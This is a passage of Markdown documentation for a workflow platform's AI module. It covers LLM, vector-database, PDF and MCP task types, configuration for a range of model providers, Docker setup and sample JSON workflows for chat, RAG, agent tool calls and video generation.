MP4 + optional thumbnail) | +| `media[].location` | String | HTTP URL to the stored video or thumbnail file | +| `media[].mimeType` | String | MIME type (`video/mp4` for video, `image/webp` for thumbnail) | +| `jobId` | String | Provider's async job ID | +| `status` | String | Final status (`COMPLETED` or `FAILED`) | +| `pollCount` | Integer | Number of polling iterations | + +**Provider-Specific Notes:** + +- **OpenAI Sora**: Supports `sora-2` and `sora-2-pro` models. Valid durations are 4, 8, or 12 seconds. Valid sizes: `1280x720`, `720x1280`, `1792x1024`, `1024x1792`. Returns video + webp thumbnail. +- **Google Gemini Veo**: Supports `veo-2.0-generate-001`, `veo-3.0`, `veo-3.1`. Use `llmProvider` as `google_gemini` or `vertex_ai`. When using API key, no GCP credentials needed. Veo 3+ supports audio generation. + +--- + +### LLM_INDEX_TEXT + +Store text with auto-generated embeddings in a vector database. + +**Inputs:** + +| Parameter | Type | Required | Description | +|-----------|------|:--------:|-------------| +| `vectorDB` | String | ✅ | Configured vector database instance name | +| `namespace` | String | ✅ | Namespace for organization | +| `index` | String | ✅ | Index name | +| `embeddingModelProvider` | String | ✅ | Provider for embeddings | +| `embeddingModel` | String | ✅ | Embedding model name | +| `text` | String | ✅ | Text to index | +| `docId` | String | ❌ | Document identifier (auto-generated if not provided) | +| `metadata` | Object | ❌ | Additional metadata to store | + +--- + +### LLM_STORE_EMBEDDINGS + +Store pre-computed embeddings in a vector database. + +**Inputs:** + +| Parameter | Type | Required | Description | +|-----------|------|:--------:|-------------| +| `vectorDB` | String | ✅ | Configured vector database instance name | +| `namespace` | String | ✅ | Namespace for organization | +| `index` | String | ✅ | Index name | +| `embeddings` | Array\ | ✅ | Pre-computed embedding vector | +| `docId` | String | ❌ | Document identifier | +| `metadata` | Object | ❌ | Additional metadata | + +--- + +### LLM_SEARCH_INDEX + +Semantic search using a text query (auto-generates embeddings). + +**Inputs:** + +| Parameter | Type | Required | Description | +|-----------|------|:--------:|-------------| +| `vectorDB` | String | ✅ | Configured vector database instance name | +| `namespace` | String | ✅ | Namespace to search | +| `index` | String | ✅ | Index name | +| `embeddingModelProvider` | String | ✅ | Provider for query embedding | +| `embeddingModel` | String | ✅ | Embedding model name | +| `query` | String | ✅ | Search query text | +| `llmMaxResults` | Integer | ❌ | Maximum results to return (default: 10) | + +--- + +### LLM_SEARCH_EMBEDDINGS + +Search using pre-computed embedding vectors. + +**Inputs:** + +| Parameter | Type | Required | Description | +|-----------|------|:--------:|-------------| +| `vectorDB` | String | ✅ | Configured vector database instance name | +| `namespace` | String | ✅ | Namespace to search | +| `index` | String | ✅ | Index name | +| `embeddings` | Array\ | ✅ | Query embedding vector | +| `llmMaxResults` | Integer | ❌ | Maximum results to return | + +--- + +### LLM_GET_EMBEDDINGS + +Retrieve stored embeddings by document ID. + +**Inputs:** + +| Parameter | Type | Required | Description | +|-----------|------|:--------:|-------------| +| `vectorDB` | String | ✅ | Configured vector database instance name | +| `namespace` | String | ✅ | Namespace | +| `index` | String | ✅ | Index name | +| `docId` | String | ✅ | Document identifier | + +**Outputs:** + +| Field | Type | Description | +|-------|------|-------------| +| `result` | Array\ | Stored embedding vector | + +--- + +### GENERATE_PDF + +Convert markdown text to a PDF document. Supports full GitHub Flavored Markdown including headings, tables, code blocks, lists, task lists, blockquotes, images, links, and inline formatting. No external API keys required -- uses built-in Apache PDFBox rendering. + +**Inputs:** + +| Parameter | Type | Required | Default | Description | +|-----------|------|:--------:|---------|-------------| +| `markdown` | String | ✅ | - | Markdown text to convert to PDF | +| `pageSize` | String | ❌ | `A4` | Page size: `A4`, `LETTER`, `LEGAL`, `A3`, `A5` | +| `marginTop` | Number | ❌ | `72` | Top margin in points (72pt = 1 inch) | +| `marginRight` | Number | ❌ | `72` | Right margin in points | +| `marginBottom` | Number | ❌ | `72` | Bottom margin in points | +| `marginLeft` | Number | ❌ | `72` | Left margin in points | +| `theme` | String | ❌ | `default` | Style preset: `default` or `compact` | +| `baseFontSize` | Number | ❌ | `11` | Base font size in points | +| `outputLocation` | String | ❌ | auto | Output URI (e.g., `file:///tmp/report.pdf`). Defaults to payload store. | +| `pdfMetadata` | Object | ❌ | - | PDF metadata: `title`, `author`, `subject`, `keywords` | +| `imageBaseUrl` | String | ❌ | - | Base URL for resolving relative image paths | + +**Outputs:** + +| Field | Type | Description | +|-------|------|-------------| +| `result.location` | String | URI of the generated PDF file | +| `result.sizeBytes` | Integer | Size of the generated PDF in bytes | +| `media` | Array | Media items with `location` and `mimeType` (`application/pdf`) | +| `finishReason` | String | `COMPLETED` on success | + +**Supported Markdown Features:** + +| Feature | Syntax | +|---------|--------| +| Headings | `# H1` through `###### H6` | +| Bold / Italic | `**bold**`, `*italic*`, `***both***` | +| Tables | GFM pipe tables with header row | +| Code blocks | Fenced (` ``` `) and indented code blocks | +| Bullet lists | `- item` or `* item` (nested supported) | +| Ordered lists | `1. item` (nested supported) | +| Task lists | `- [x] done`, `- [ ] todo` | +| Blockquotes | `> quoted text` | +| Links | `[text](url)` (rendered as clickable PDF links) | +| Images | `![alt](url)` (HTTP/HTTPS, file://, data: URIs, relative paths) | +| Horizontal rules | `---` | +| Strikethrough | `~~strikethrough~~` | +| Inline code | `` `code` `` | +| Footnotes | `[^1]` references | + +--- + +### LIST_MCP_TOOLS + +List available tools from an MCP (Model Context Protocol) server. + +**Inputs:** + +| Parameter | Type | Required | Description | +|-----------|------|:--------:|-------------| +| `mcpServer` | String | ✅ | MCP server URL (e.g., `http://localhost:3000/mcp`) | +| `headers` | Object | ❌ | HTTP headers for authentication | + +**Outputs:** + +| Field | Type | Description | +|-------|------|-------------| +| `tools` | Array | Tool definitions with `name`, `description`, and `inputSchema` | + +--- + +### CALL_MCP_TOOL + +Call a specific tool on an MCP server. + +**Inputs:** + +| Parameter | Type | Required | Description | +|-----------|------|:--------:|-------------| +| `mcpServer` | String | ✅ | MCP server URL | +| `method` | String | ✅ | Tool name to call | +| `headers` | Object | ❌ | HTTP headers for authentication | +| `*` | Any | ❌ | All other parameters passed as tool arguments | + +**Outputs:** + +| Field | Type | Description | +|-------|------|-------------| +| `content` | Array | Result content items with `type` and `text` | +| `isError` | Boolean | Whether the call resulted in an error | + + +## Configuration + +### Global Configuration + +Add to your `application.properties` or `application.yml`: + +```properties +# Enable AI integrations and workers (default: false, must be explicitly enabled) +conductor.integrations.ai.enabled=true + +# Payload storage location for large AI inputs/outputs (optional) +conductor.ai.payload-store-location=/tmp/conductor-ai +``` + +> **Note**: AI workers are disabled by default. You must set `conductor.integrations.ai.enabled=true` to enable them. + +### Vector Database Configuration + +Vector databases support multiple named instances. For detailed configuration options and examples, see [Vector Database Configuration](VECTORDB_CONFIGURATION.md). + +### JDBC Configuration + +JDBC connections support multiple named instances for the `JDBC` worker task. For detailed configuration options, migration guide, and examples, see [JDBC Configuration](JDBC_CONFIGURATION.md). + +### Provider-Specific Configuration (LLM) + +#### OpenAI + +```properties +conductor.ai.openai.api-key=${OPENAI_API_KEY} +conductor.ai.openai.base-url=https://api.openai.com/v1 +conductor.ai.openai.organization-id=org-xxxxx +``` + +| Property | Required | Default | Description | +|----------|:--------:|---------|-------------| +| `api-key` | ✅ | - | OpenAI API key | +| `base-url` | ❌ | `https://api.openai.com/v1` | API base URL | +| `organization-id` | ❌ | - | Organization ID | + +#### Anthropic + +```properties +conductor.ai.anthropic.api-key=${ANTHROPIC_API_KEY} +conductor.ai.anthropic.base-url=https://api.anthropic.com +conductor.ai.anthropic.version=2023-06-01 +conductor.ai.anthropic.beta-version=prompt-caching-2024-07-31 +``` + +| Property | Required | Default | Description | +|----------|:--------:|---------|-------------| +| `api-key` | ✅ | - | Anthropic API key | +| `base-url` | ❌ | `https://api.anthropic.com` | API base URL | +| `version` | ❌ | - | API version | +| `beta-version` | ❌ | - | Beta features (e.g., prompt caching) | +| `completions-path` | ❌ | - | Custom completions endpoint path | + +#### Google Gemini / Vertex AI + +Use `llmProvider` as either `google_gemini` or `vertex_ai` (both resolve to the same provider). + +Two authentication paths are supported: + +**Option 1: API key (recommended for most users)** + +Just set `GEMINI_API_KEY` — works for chat, tool calling, image gen, audio gen, and video gen. No GCP project or service account needed. + +```properties +conductor.ai.gemini.api-key=${GEMINI_API_KEY} +``` + +**Option 2: Vertex AI with GCP credentials (enterprise)** + +For users who need Vertex AI features (VPC-SC, CMEK, private endpoints), use GCP IAM credentials. + +```properties +conductor.ai.gemini.project-id=${GOOGLE_CLOUD_PROJECT} +conductor.ai.gemini.location=us-central1 +conductor.ai.gemini.publisher=google +``` + +| Property | Required | Default | Description | +|----------|:--------:|---------|-------------| +| `api-key` | ❌ | - | Gemini API key from [Google AI Studio](https://aistudio.google.com/). Enables all features (chat, tools, image, audio, video) via REST. | +| `project-id` | ❌ | - | GCP project ID (for Vertex AI gRPC path) | +| `location` | ❌ | `us-central1` | GCP region | +| `base-url` | ❌ | `{location}-aiplatform.googleapis.com:443` | API endpoint (Vertex AI path only) | +| `publisher` | ❌ | - | Model publisher | + +> **How it works**: When only `api-key` is set (no GCP credentials), Conductor uses Spring AI's `GoogleGenAiChatModel` which calls the Google AI Studio REST API directly. When GCP credentials are available (`GOOGLE_APPLICATION_CREDENTIALS` or Workload Identity), it uses `VertexAiGeminiChatModel` with gRPC. Both paths support chat completion with tool calling. + +#### Azure OpenAI + +```properties +conductor.ai.azureopenai.api-key=${AZURE_OPENAI_API_KEY} +conductor.ai.azureopenai.base-url=${AZURE_OPENAI_ENDPOINT} +conductor.ai.azureopenai.deployment-name=gpt-4o-mini +conductor.ai.azureopenai.user=your-user-id +``` + +| Property | Required | Default | Description | +|----------|:--------:|---------|-------------| +| `api-key` | ✅ | - | Azure OpenAI API key | +| `base-url` | ✅ | - | Azure resource endpoint | +| `deployment-name` | ✅ | - | Deployment name | +| `user` | ❌ | - | User identifier for tracking | + +#### AWS Bedrock + +```properties +conductor.ai.bedrock.access-key=${AWS_ACCESS_KEY_ID} +conductor.ai.bedrock.secret-key=${AWS_SECRET_ACCESS_KEY} +conductor.ai.bedrock.region=us-east-1 +# OR use bearer token for AWS SSO/temporary credentials +conductor.ai.bedrock.bearer-token=${AWS_SESSION_TOKEN} +``` + +| Property | Required | Default | Description | +|----------|:--------:|---------|-------------| +| `access-key` | ✅* | - | AWS access key ID | +| `secret-key` | ✅* | - | AWS secret access key | +| `region` | ✅ | `us-east-1` | AWS region | +| `bearer-token` | ❌ | - | AWS session token (for temporary credentials) | + +\* Required unless using bearer token or IAM roles + +#### Mistral AI + +```properties +conductor.ai.mistral.api-key=${MISTRAL_API_KEY} +conductor.ai.mistral.base-url=https://api.mistral.ai +``` + +| Property | Required | Default | Description | +|----------|:--------:|---------|-------------| +| `api-key` | ✅ | - | Mistral AI API key | +| `base-url` | ❌ | `https://api.mistral.ai` | API base URL | + +#### Cohere + +```properties +conductor.ai.cohere.api-key=${COHERE_API_KEY} +conductor.ai.cohere.base-url=https://api.cohere.ai +``` + +| Property | Required | Default | Description | +|----------|:--------:|---------|-------------| +| `api-key` | ✅ | - | Cohere API key | +| `base-url` | ❌ | `https://api.cohere.ai` | API base URL | + +#### Grok (xAI) + +```properties +conductor.ai.grok.api-key=${GROK_API_KEY} +conductor.ai.grok.base-url=https://api.x.ai/v1 +``` + +| Property | Required | Default | Description | +|----------|:--------:|---------|-------------| +| `api-key` | ✅ | - | Grok API key | +| `base-url` | ❌ | `https://api.x.ai/v1` | API base URL | + +#### Perplexity AI + +```properties +conductor.ai.perplexity.api-key=${PERPLEXITY_API_KEY} +conductor.ai.perplexity.base-url=https://api.perplexity.ai +``` + +| Property | Required | Default | Description | +|----------|:--------:|---------|-------------| +| `api-key` | ✅ | - | Perplexity API key | +| `base-url` | ❌ | `https://api.perplexity.ai` | API base URL | + +#### LiteLLM (AI Gateway) + +[LiteLLM](https://docs.litellm.ai/) is an AI gateway/proxy that provides a unified OpenAI-compatible interface to 100+ LLM providers including OpenAI, Anthropic, Azure, AWS Bedrock, Google Vertex AI, Mistral, Cohere, and more. Run the LiteLLM proxy and point Conductor at it to access any supported model through a single configuration. + +```properties +conductor.ai.litellm.base-url=${LITELLM_BASE_URL} +conductor.ai.litellm.api-key=${LITELLM_API_KEY} +``` + +| Property | Required | Default | Description | +|----------|:--------:|---------|-------------| +| `base-url` | ✅ | - | LiteLLM proxy URL (e.g., `http://litellm-proxy:4000`, `https://my-gateway.example.com`) | +| `api-key` | ❌ | - | LiteLLM proxy API key (master key or virtual key). Required only if your proxy has auth enabled | + +**Usage:** + +Set `llmProvider` to `litellm` in your workflow tasks and use any model supported by your LiteLLM proxy configuration: + +```json +{ + "llmProvider": "litellm", + "model": "gpt-4o", + "messages": [...] +} +``` + +> **Note**: Set `drop_params: true` in your LiteLLM proxy config (`litellm_settings`) so provider-unsupported parameters (e.g. `frequency_penalty` for Anthropic) are silently dropped instead of causing 400 errors. + +#### HuggingFace + +```properties +conductor.ai.huggingface.api-key=${HUGGINGFACE_API_KEY} +conductor.ai.huggingface.base-url=https://api-inference.huggingface.co/models +``` + +| Property | Required | Default | Description | +|----------|:--------:|---------|-------------| +| `api-key` | ✅ | - | HuggingFace API token | +| `base-url` | ❌ | `https://api-inference.huggingface.co/models` | API base URL | + +#### Ollama (Local) + +```properties +conductor.ai.ollama.base-url=http://localhost:11434 +conductor.ai.ollama.auth-header-name=Authorization +conductor.ai.ollama.auth-header=Bearer token-here +``` + +| Property | Required | Default | Description | +|----------|:--------:|---------|-------------| +| `base-url` | ❌ | `http://localhost:11434` | Ollama server URL | +| `auth-header-name` | ❌ | - | Custom auth header name | +| `auth-header` | ❌ | - | Custom auth header value | + +#### Stability AI + +```properties +conductor.ai.stabilityai.api-key=${STABILITY_API_KEY} +``` + +| Property | Required | Default | Description | +|----------|:--------:|---------|-------------| +| `api-key` | Yes | - | Stability AI API key | + +Supported models: `sd3.5-large`, `sd3.5-large-turbo`, `sd3.5-medium`, `sd3-large`, `sd3-medium`, `core` (Stable Image Core), `ultra` (Stable Image Ultra). The endpoint is selected automatically based on the model name. + +## Environment Variables + +The AI module reads from standard environment variables automatically. Set the environment variable for a provider and it will be enabled -- no need to edit properties files. + +### Quick Reference + +| Provider | Environment Variable | Description | +|----------|---------------------|-------------| +| OpenAI | `OPENAI_API_KEY` | API key from [platform.openai.com](https://platform.openai.com/api-keys) | +| OpenAI | `OPENAI_ORG_ID` | Optional organization ID | +| Anthropic | `ANTHROPIC_API_KEY` | API key from [console.anthropic.com](https://console.anthropic.com/) | +| Mistral AI | `MISTRAL_API_KEY` | API key from [console.mistral.ai](https://console.mistral.ai/) | +| Cohere | `COHERE_API_KEY` | API key from [dashboard.cohere.com](https://dashboard.cohere.com/) | +| Grok / xAI | `XAI_API_KEY` | API key from [x.ai](https://x.ai/) | +| Perplexity | `PERPLEXITY_API_KEY` | API key from [perplexity.ai](https://www.perplexity.ai/) | +| HuggingFace | `HUGGINGFACE_API_KEY` | Token from [huggingface.co/settings/tokens](https://huggingface.co/settings/tokens) | +| LiteLLM | `LITELLM_BASE_URL` | LiteLLM proxy URL (required - e.g., `http://litellm-proxy:4000`) | +| LiteLLM | `LITELLM_API_KEY` | LiteLLM proxy API key (optional - only if proxy has auth enabled) | +| Stability AI | `STABILITY_API_KEY` | API key from [platform.stability.ai](https://platform.stability.ai/) | +| Azure OpenAI | `AZURE_OPENAI_API_KEY` | API key from Azure portal | +| Azure OpenAI | `AZURE_OPENAI_ENDPOINT` | Endpoint URL (e.g., `https://your-resource.openai.azure.com`) | +| Azure OpenAI | `AZURE_OPENAI_DEPLOYMENT` | Deployment name | +| AWS Bedrock | `AWS_ACCESS_KEY_ID` | AWS access key | +| AWS Bedrock | `AWS_SECRET_ACCESS_KEY` | AWS secret key | +| AWS Bedrock | `AWS_REGION` | AWS region (default: `us-east-1`) | +| Google Gemini | `GEMINI_API_KEY` | API key from [Google AI Studio](https://aistudio.google.com/) — enables all features (chat, tools, image, audio, video) | +| Google Gemini | `GOOGLE_CLOUD_PROJECT` | GCP project ID (only needed for Vertex AI path) | +| Google Gemini | `GOOGLE_CLOUD_LOCATION` | GCP region (default: `us-central1`, Vertex AI path only) | +| Google Gemini | `GOOGLE_APPLICATION_CREDENTIALS` | Path to service account JSON (Vertex AI path only) | +| Ollama | `OLLAMA_HOST` | Ollama server URL (default: `http://localhost:11434`) | + +### Usage + +**Linux/macOS:** + +```bash +export OPENAI_API_KEY=sk-your-api-key +export ANTHROPIC_API_KEY=sk-ant-your-api-key +./gradlew bootRun +``` + +**Windows (PowerShell):** + +```powershell +$env:OPENAI_API_KEY = "sk-your-api-key" +$env:ANTHROPIC_API_KEY = "sk-ant-your-api-key" +./gradlew bootRun +``` + +> **Note**: Explicit property values in `application.properties` or external configuration files (e.g., `conductor.properties`) take precedence over environment variables. + +## Docker + +### Docker Run + +Pass environment variables using `-e` flags: + +```bash +docker run -d \ + -p 8080:8080 \ + -e OPENAI_API_KEY=sk-your-api-key \ + -e ANTHROPIC_API_KEY=sk-ant-your-api-key \ + conductor:server +``` + +### Docker Compose + +Create a `docker-compose.yml`: + +```yaml +version: '3.8' +services: + conductor: + image: conductor:server + ports: + - "8080:8080" + environment: + - OPENAI_API_KEY=${OPENAI_API_KEY} + - ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY} + - MISTRAL_API_KEY=${MISTRAL_API_KEY} + # Add other providers as needed +``` + +Create a `.env` file in the same directory: + +```bash +OPENAI_API_KEY=sk-your-api-key +ANTHROPIC_API_KEY=sk-ant-your-api-key +MISTRAL_API_KEY=your-mistral-key +``` + +Run with: + +```bash +docker-compose up -d +``` + +### Google Gemini with Docker + +**Using API key (recommended — enables all features):** + +```bash +docker run -d \ + -p 8080:8080 \ + -e GEMINI_API_KEY=your-api-key \ + conductor:server +``` + +This enables chat, tool calling, image gen, audio gen, and video gen — no GCP project needed. + +**Using Vertex AI credentials (enterprise):** + +```bash +docker run -d \ + -p 8080:8080 \ + -e GOOGLE_CLOUD_PROJECT=your-project-id \ + -e GOOGLE_APPLICATION_CREDENTIALS=/app/config/credentials.json \ + -v /path/to/credentials.json:/app/config/credentials.json:ro \ + conductor:server +``` + +When running on GKE with Workload Identity, credentials are provided automatically by the platform. + +### AWS Bedrock with Docker + +Using environment variables: + +```bash +docker run -d \ + -p 8080:8080 \ + -e AWS_ACCESS_KEY_ID=your-access-key \ + -e AWS_SECRET_ACCESS_KEY=your-secret-key \ + -e AWS_REGION=us-east-1 \ + conductor:server +``` + +Or mount your AWS credentials directory: + +```bash +docker run -d \ + -p 8080:8080 \ + -v ~/.aws:/root/.aws:ro \ + conductor:server +``` + +## Sample Workflows + +### 1. Chat Completion (Conversational AI) + +```json +{ + "name": "chat_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "chat_task", + "taskReferenceName": "chat", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + { + "role": "system", + "message": "You are a helpful assistant." + }, + { + "role": "user", + "message": "What is the capital of France?" + } + ], + "temperature": 0.7, + "maxTokens": 500 + } + } + ] +} +``` + +**Output:** +```json +{ + "result": "The capital of France is Paris.", + "metadata": { + "usage": { + "promptTokens": 25, + "completionTokens": 8, + "totalTokens": 33 + } + } +} +``` + +### 2. Generate Embeddings + +```json +{ + "name": "embedding_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "generate_embeddings", + "taskReferenceName": "embeddings", + "type": "LLM_GENERATE_EMBEDDINGS", + "inputParameters": { + "llmProvider": "openai", + "model": "text-embedding-3-small", + "text": "Conductor is an orchestration platform" + } + } + ] +} +``` + +**Output:** +```json +{ + "result": [0.123, -0.456, 0.789, ...] // 1536-dimensional vector +} +``` + +### 3. Image Generation + +```json +{ + "name": "image_gen_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "generate_image", + "taskReferenceName": "image", + "type": "GENERATE_IMAGE", + "inputParameters": { + "llmProvider": "openai", + "model": "dall-e-3", + "prompt": "A futuristic cityscape at sunset", + "width": 1024, + "height": 1024, + "n": 1, + "style": "vivid" + } + } + ] +} +``` + +**Output:** +```json +{ + "url": "https://...", + "b64_json": "base64-encoded-image-data" +} +``` + +### 4. Audio Generation (Text-to-Speech) + +```json +{ + "name": "tts_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "generate_audio", + "taskReferenceName": "audio", + "type": "GENERATE_AUDIO", + "inputParameters": { + "llmProvider": "openai", + "model": "tts-1", + "text": "Hello, this is a test of text to speech.", + "voice": "alloy" + } + } + ] +} +``` + +**Output:** +```json +{ + "url": "https://...", + "format": "mp3" +} +``` + +### 5. Semantic Search with Vector DB + +```json +{ + "name": "semantic_search_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "index_documents", + "taskReferenceName": "index", + "type": "LLM_INDEX_TEXT", + "inputParameters": { + "vectorDB": "postgres-prod", + "namespace": "documentation", + "index": "tech_docs", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "text": "Conductor is a workflow orchestration platform", + "docId": "doc_001" + } + }, + { + "name": "search_documents", + "taskReferenceName": "search", + "type": "LLM_SEARCH_INDEX", + "inputParameters": { + "vectorDB": "postgres-prod", + "namespace": "documentation", + "index": "tech_docs", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "query": "workflow orchestration", + "llmMaxResults": 5 + } + } + ] +} +``` + +**Output:** +```json +{ + "result": [ + { + "docId": "doc_001", + "score": 0.95, + "text": "Conductor is a workflow orchestration platform" + } + ] +} +``` + +### 6. RAG (Retrieval Augmented Generation) + +A basic RAG workflow that searches a knowledge base and generates an answer: + +```json +{ + "name": "rag_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "search_knowledge_base", + "taskReferenceName": "search", + "type": "LLM_SEARCH_INDEX", + "inputParameters": { + "vectorDB": "postgres-prod", + "namespace": "kb", + "index": "articles", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "query": "${workflow.input.question}", + "llmMaxResults": 3 + } + }, + { + "name": "generate_answer", + "taskReferenceName": "answer", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-3-5-sonnet-20241022", + "messages": [ + { + "role": "system", + "message": "Answer based on the following context: ${search.output.result}" + }, + { + "role": "user", + "message": "${workflow.input.question}" + } + ], + "temperature": 0.3 + } + } + ] +} +``` + +#### Complete RAG Demo (Index + Search + Answer) + +A self-contained workflow that indexes documents, searches them, and generates an answer: + +```json +{ + "name": "complete_rag_demo", + "description": "Index documents, search, and generate RAG answer", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "index_doc_1", + "taskReferenceName": "index_doc_1_ref", + "type": "LLM_INDEX_TEXT", + "inputParameters": { + "vectorDB": "postgres-prod", + "index": "demo_index", + "namespace": "demo_docs", + "docId": "intro-001", + "text": "Conductor is a distributed workflow orchestration engine that runs in the cloud. It allows developers to build complex stateful applications by orchestrating microservices.", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "dimensions": 1536, + "metadata": { "category": "introduction" } + } + }, + { + "name": "index_doc_2", + "taskReferenceName": "index_doc_2_ref", + "type": "LLM_INDEX_TEXT", + "inputParameters": { + "vectorDB": "postgres-prod", + "index": "demo_index", + "namespace": "demo_docs", + "docId": "features-002", + "text": "Conductor supports multiple vector databases including PostgreSQL (pgvector), MongoDB Atlas, and Pinecone. It also integrates with LLM providers like OpenAI, Anthropic, and Azure OpenAI.", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "dimensions": 1536, + "metadata": { "category": "features" } + } + }, + { + "name": "index_doc_3", + "taskReferenceName": "index_doc_3_ref", + "type": "LLM_INDEX_TEXT", + "inputParameters": { + "vectorDB": "postgres-prod", + "index": "demo_index", + "namespace": "demo_docs", + "docId": "config-003", + "text": "You can configure multiple named instances of the same vector database type for different environments like production, development, and staging.", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "dimensions": 1536, + "metadata": { "category": "configuration" } + } + }, + { + "name": "search_index", + "taskReferenceName": "search_ref", + "type": "LLM_SEARCH_INDEX", + "inputParameters": { + "vectorDB": "postgres-prod", + "index": "demo_index", + "namespace": "demo_docs", + "query": "What vector databases does Conductor support?", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "dimensions": 1536, + "maxResults": 3 + } + }, + { + "name": "generate_rag_answer", + "taskReferenceName": "answer_ref", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + { + "role": "system", + "message": "You are a technical expert. Answer the question using only the provided context." + }, + { + "role": "user", + "message": "Context:\n${search_ref.output.result}\n\nQuestion: What vector databases does Conductor support?" + } + ], + "temperature": 0.2 + } + } + ], + "outputParameters": { + "indexed_docs": ["${index_doc_1_ref.output}", "${index_doc_2_ref.output}", "${index_doc_3_ref.output}"], + "search_results": "${search_ref.output.result}", + "answer": "${answer_ref.output.result}" + } +} +``` + +**Run without input:** +```bash +curl -X POST 'http://localhost:8080/api/workflow/complete_rag_demo' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` + +### 7. MCP (Model Context Protocol) Tool Integration + +MCP allows workflows to interact with external tools and data sources via HTTP/HTTPS or stdio (local) servers. + +#### List Tools from MCP Server + +```json +{ + "name": "mcp_list_tools_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "list_mcp_tools", + "taskReferenceName": "list_tools", + "type": "LIST_MCP_TOOLS", + "inputParameters": { + "mcpServer": "http://localhost:3000/mcp" + } + } + ] +} +``` + +**Output:** +```json +{ + "tools": [ + { + "name": "get_weather", + "description": "Get current weather for a location", + "inputSchema": { + "type": "object", + "properties": { + "location": {"type": "string"} + }, + "required": ["location"] + } + } + ] +} +``` + +The Model Context Protocol supports multiple [transport types](https://modelcontextprotocol.io/specification/2025-11-25/basic/transports): +- **Streamable HTTP** (default): Standard HTTP/HTTPS endpoints (recommended per MCP spec 2025-11-25) +- **SSE** (deprecated): Only used when URL explicitly contains `/sse` endpoint + +#### Call MCP Tool (HTTP Server) + +```json +{ + "name": "mcp_weather_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "get_weather", + "taskReferenceName": "weather", + "type": "CALL_MCP_TOOL", + "inputParameters": { + "mcpServer": "http://localhost:3000/mcp", + "method": "get_weather", + "location": "New York", + "units": "fahrenheit" + } + } + ] +} +``` + +**Output:** +```json +{ + "content": [ + { + "type": "text", + "text": "Current weather in New York: 72°F, Partly cloudy" + } + ], + "isError": false +} +``` + +**MCP Server URL Formats:** +- **HTTP**: `http://localhost:3000` (uses Streamable HTTP transport) +- **HTTP/SSE (deprecated)**: `http://localhost:3000/sse` +- **HTTP/Streamable**: `http://localhost:3000/mcp` +- **HTTPS**: `https://api.example.com/mcp` + +> **Note**: All input parameters except `mcpServer`, `method`, and `headers` are automatically passed as arguments to the MCP tool. + +#### MCP + AI Agent Workflow + +Complete example combining MCP tools with LLM for autonomous agent behavior: + +```json +{ + "name": "mcp_ai_agent_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "list_available_tools", + "taskReferenceName": "discover_tools", + "type": "LIST_MCP_TOOLS", + "inputParameters": { + "mcpServer": "http://localhost:3000/mcp" + } + }, + { + "name": "decide_which_tools_to_use", + "taskReferenceName": "plan", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-3-5-sonnet-20241022", + "messages": [ + { + "role": "system", + "message": "You are an AI agent. Available tools: ${discover_tools.output.tools}. User wants to: ${workflow.input.task}" + }, + { + "role": "user", + "message": "Which tool should I use and what parameters? Respond with JSON: {method: string, arguments: object}" + } + ], + "temperature": 0.1, + "maxTokens": 500 + } + }, + { + "name": "execute_tool", + "taskReferenceName": "execute", + "type": "CALL_MCP_TOOL", + "inputParameters": { + "mcpServer": "http://localhost:3000/mcp", + "method": "${plan.output.result.method}", + "arguments": "${plan.output.result.arguments}" + } + }, + { + "name": "summarize_result", + "taskReferenceName": "summarize", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + { + "role": "user", + "message": "Summarize this result for the user: ${execute.output.content}" + } + ], + "maxTokens": 200 + } + } + ] +} +``` + +**Workflow Input:** +```json +{ + "task": "Get the current weather in San Francisco" +} +``` + +**Workflow Output:** +```json +{ + "discover_tools": { + "tools": [ + {"name": "get_weather", "description": "..."}, + {"name": "calculate", "description": "..."} + ] + }, + "plan": { + "result": { + "method": "get_weather", + "arguments": {"location": "San Francisco", "units": "fahrenheit"} + } + }, + "execute": { + "content": [{"type": "text", "text": "72°F, Sunny"}] + }, + "summarize": { + "result": "The current weather in San Francisco is 72°F and sunny." + } +} +``` + +### 8. Video Generation (OpenAI Sora) + +```json +{ + "name": "video_gen_openai_sora", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "generate_video", + "taskReferenceName": "sora_video", + "type": "GENERATE_VIDEO", + "inputParameters": { + "llmProvider": "openai", + "model": "sora-2", + "prompt": "A slow cinematic aerial shot of a coastal city at golden hour, waves crashing against cliffs", + "duration": 8, + "size": "1280x720", + "n": 1, + "style": "cinematic" + } + } + ] +} +``` + +**Output:** +```json +{ + "media": [ + { + "location": "/api/media/.../video.mp4", + "mimeType": "video/mp4" + }, + { + "location": "/api/media/.../thumbnail.webp", + "mimeType": "image/webp" + } + ], + "jobId": "video_abc123...", + "status": "COMPLETED", + "pollCount": 14 +} +``` + +### 9. Video Generation (Google Gemini Veo) + +```json +{ + "name": "video_gen_gemini_veo", + "version": 1, + 